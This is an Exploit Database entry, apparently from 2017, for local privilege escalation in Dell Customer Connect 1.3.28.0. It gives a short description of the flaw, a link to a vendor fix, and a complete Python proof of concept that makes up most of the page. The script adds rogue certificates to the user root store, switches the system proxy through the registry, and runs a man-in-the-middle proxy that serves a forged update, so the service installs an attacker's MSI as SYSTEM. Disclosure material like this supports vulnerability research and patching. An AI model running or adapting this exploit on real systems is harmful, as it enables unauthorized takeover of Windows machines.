Dell Customer Connect 1.3.28.0 – Local Privilege Escalation

Exploit Database
118 阅读

作者： Kacper Szurek

日期： 2017-04-25
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/41917/

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# Exploit Dell Customer Connect 1.3.28.0 Privilege Escalation

# Date: 25.04.2017

# Software Link: http://www.dell.com/

# Exploit Author: Kacper Szurek

# Contact: https://twitter.com/KacperSzurek

# Website: https://security.szurek.pl/

# Category: local

1. Description

DCCService.exe is running on autostart as System.

This service has auto update functionality.

Basically it periodically checks https://otbs.azurewebsites.net looking for new config file.

Under normal conditions we cannot spoof this connection because it’s SSL.

But here WebUtils.sendWebRequest() is executed using Impersonator.RunImpersonated().

RunImpersonated() executes given function in the context of currently logged in user.

In Windows system we can add any certificate to Local user root store.

Then this certificate is considered as trusted so we can perform MITM attack.

It can be done using simple proxy server because by default .NET HttpWebRequest() uses IE proxy settings (which can by set by any user without administrator priveleges).

https://security.szurek.pl/dell-customer-connect-13280-privilege-escalation.html

2. Proof of Concept

from _winreg import *

from threading import Thread

import os

import subprocess

import hashlib

import SimpleHTTPServer

import SocketServer

import ssl

import httplib

import time

msi_file = "exploit.msi"

cert_file = "otbs.crt"

signing_file = "code.cer"

file_port = 5555

proxy_port = 7777

print "Dell Customer Connect 1.3.28.0 Privilege Escalation"

print "by Kacper Szurek"

print "https://security.szurek.pl/"

print "https://twitter.com/KacperSzurek"

# Simpe SSL proxy based on https://code.google.com/archive/p/proxpy/

class ProxyHandler(SocketServer.StreamRequestHandler):

def __init__(self, request, client_address, server):

SocketServer.StreamRequestHandler.__init__(self, request, client_address, server)

def handle(self):

global xml

line = self.rfile.readline()

for l in self.rfile:

if l == "\r\n":

break

if "GET /api/AppConfig" in line:

conn = httplib.HTTPSConnection(self.host, self.port)

print "\n[+] Send XML to service"

self.wfile.write("HTTP/1.1 200 200\r\n\r\n"+xml)

elif "CONNECT otbs.azurewebsites.net:443" in line:

socket_ssl = ssl.wrap_socket(self.request, server_side = True, certfile = cert_file, ssl_version = ssl.PROTOCOL_SSLv23, do_handshake_on_connect = False)

self.request.send("HTTP/1.1 200 Connection Established\r\n\r\n")

host, port = self.request.getpeername()

self.host = host

self.port = port

while True:

try:

socket_ssl.do_handshake()

break

except (ssl.SSLError, IOError):

return

print "\n[+] SSL Established with otbs.azurewebsites.net"

self.request = socket_ssl

self.setup()

self.handle()

class ThreadedHTTPProxyServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):

pass

def add_to_store(name, file):

output = subprocess.Popen('certutil -user -addstore "Root" "{}"'.format(file), stdout=subprocess.PIPE).communicate()[0]

if "\"{}\" already in store".format(name) in output:

print "[+] Certificate {} already in store".format(name)

elif "\"{}\" added to store".format(name) in output:

print "[+] Add certificate {} to user root store".format(name)

else:

print "[-] You need to click OK in order to add cert to user root store"

os._exit(0)

if not os.path.isfile(cert_file):

print "[-] Missing SSL file"

os._exit(0)

if not os.path.isfile(signing_file):

print "[-] Missing code signing file"

os._exit(0)

add_to_store("otbs.azurewebsites.net", cert_file)

add_to_store("dell inc", signing_file)

def sha256_checksum(filename, block_size=65536):

sha256 = hashlib.sha256()

with open(filename, 'rb') as f:

for block in iter(lambda: f.read(block_size), b''):

sha256.update(block)

return sha256.hexdigest()

def file_server():

Handler = SimpleHTTPServer.SimpleHTTPRequestHandler

httpd = SocketServer.TCPServer(("", file_port), Handler)

httpd.serve_forever()

if not os.path.isfile(msi_file):

print "[-] Missing msi file"

os._exit(0)

sha256 = sha256_checksum(msi_file)

print "[+] MSI hash: {}".format(sha256)

print "[+] Set Proxy Server in registry"

key = OpenKey(HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Internet Settings', 0, KEY_ALL_ACCESS)

SetValueEx(key, "ProxyServer", 0, REG_SZ, "127.0.0.1:{}".format(proxy_port))

SetValueEx(key, "ProxyEnable", 0, REG_DWORD, 1)

CloseKey(key)

print "[+] Start file server on port {}".format(file_port)

t1 = Thread(target = file_server)

t1.daemon = True

t1.start()

xml = "<UpdateResponse xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"><LatestVersion>9.0.0.6</LatestVersion><UpgradeUrl>http://localhost:{}/{}</UpgradeUrl><UpgradeHash>{}</UpgradeHash><SurveyCheckInterval>1</SurveyCheckInterval></UpdateResponse>".format(file_port, msi_file, sha256)

print "[+] Start proxy server on port {}".format(proxy_port)

proxy_server = ThreadedHTTPProxyServer(("127.0.0.1", proxy_port), ProxyHandler)

t2 = Thread(target = proxy_server.serve_forever)

t2.daemon = True

t2.start()

log_path = r"C:\Users\All Users\Dell\Dell Customer Connect\Logs\{}_install_log.txt".format(msi_file)

print "[+] Waiting for execution ",

while True:

if os.path.isfile(log_path):

print "\n[+] Looks like msi file was executed, exiting"

os._exit(0)

time.sleep(3)

print ".",

3. Fix

http://www.dell.com/support/home/us/en/19/Drivers/DriversDetails?driverId=DR53F